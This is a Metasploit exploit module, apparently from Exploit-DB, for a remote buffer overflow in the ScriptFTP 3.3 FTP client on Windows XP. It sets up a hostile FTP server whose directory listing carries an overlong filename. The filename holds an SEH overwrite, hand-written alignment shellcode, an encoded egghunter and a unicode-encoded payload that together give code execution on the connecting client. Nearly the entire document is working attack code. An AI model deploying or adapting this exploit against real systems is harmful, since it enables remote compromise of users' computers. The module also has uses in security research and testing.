#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF) #Date: Sept 20 2011 #Author: otoy #Version: 3.3 #Tested on: Windows XP SP3 #CVE : - #EDB-ID: 17876 #Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r
class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking
include Exploit::Remote::FtpServer
def initialize(info = {}) super(update_info(info, 'Name' => 'ScriptFTP 3.3 Remote Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is triggered when the client connects to a FTP server which sends an overly long directory and filename in response to a GETLIST command.
This will cause an access violation, and will eventually overwrite the saved extended instruction pointer. }, 'Author' => [ 'modpr0be', # Original bug 'Cyberheb', # porting from poc to msf 'Otoy', # final msf module ], 'License' => MSF_LICENSE, 'Version' => "0", 'References' => [ [ 'OSVDB', '75633'], [ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e", 'EncoderOptions' => { 'BufferRegister' => 'EDX', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sept 20 2011', 'DefaultTarget' => 0))
end
def setup super end
def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end
#Unicode Encoder def get_unicode_payload(p) encoder = framework.encoders.create("x86/unicode_upper") encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} ) unicode_payload = encoder.encode(p, nil, nil, platform) return unicode_payload end
def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n")
sampahawal = "A" * 1746 nseh = "\x61\x62" seh = target['Ret'] sampahbawah = 1250
#prepare for align align = "\x60" #pushad align << "\x73" #nop/align align << "\x53" #push ebx align << "\x73" #nop/align align << "\x58" #pop eax align << "\x73" #nop/align align << "\x05\x02\x11" #add eax,0x11000200 align << "\x73" #nop/align align << "\x2d\x01\x11" #sub eax,0x11000120 align << "\x73" #nop/align
#align after egg align2 = "\x73\x57\x73\x58\x73" #nop/push edi/nop/pop eax/nop align2 << "\xb9\x1b\xaa" #mov ecx,0xaa001b00 align2 << "\xe8\x73" #add al,ch + nop align2 << "\x50\x73\xc3" #push eax,nop,ret
#walking walk = "\x50" #push eax walk << "\x73" #nop/align walk << "\xc3" #ret
#egghunter egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA" egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5" egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB" egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1" egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O" egghunter << "SEYWKOYWA"
#junk sampah1 = "\x44" * 106 + "\x73" sampah2 = "\x42" * 544
#egg telur = "0t0t" #payload stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35" palpha = stubget + payload.encoded puni = get_unicode_payload(palpha) #filename filename = sampahawal filename << nseh filename << seh filename << align filename << walk filename << sampah1 filename << egghunter filename << sampah2 filename << telur filename << align2 filename << puni filename << sampah1
print_status(" - Sending directory list via data connection") dirlist = "-rwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{filename}.txt\r\n" dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{filename}\r\n" dirlist << "-rwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{filename}.txt\r\n" conn.put(dirlist) conn.close return end
end
|